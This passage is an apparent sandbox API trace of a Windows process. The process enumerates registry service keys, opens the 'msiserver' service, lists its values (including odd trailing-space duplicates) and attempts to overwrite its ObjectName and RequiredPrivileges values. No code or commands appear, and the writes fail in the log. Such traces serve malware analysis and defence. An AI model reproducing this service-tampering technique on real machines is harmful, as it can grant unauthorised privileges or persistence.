dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0230.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0230.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0230.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0230.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0230.901] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0230.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0230.901] RegCloseKey (hKey=0xc4) returned 0x0 [0230.901] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0230.901] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0230.901] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0230.901] RegCloseKey (hKey=0x80000002) returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0230.901] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0230.902] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0230.902] RegCloseKey (hKey=0x154) returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0230.902] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0230.902] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0230.902] RegCloseKey (hKey=0xc4) returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0230.903] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.904] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.905] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0230.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0230.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0230.905] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1cd0, cbData=0x1) returned 0x6 [0230.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0230.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0230.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0230.905] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0230.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0230.906] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0230.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0230.907] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0230.907] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0230.907] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0230.907] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0230.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0230.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0230.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0230.907] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1bf8, cbData=0xc) returned 0x6 [0230.907] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1bf8, cbData=0x1) returned 0x6 [0230.907] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0230.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 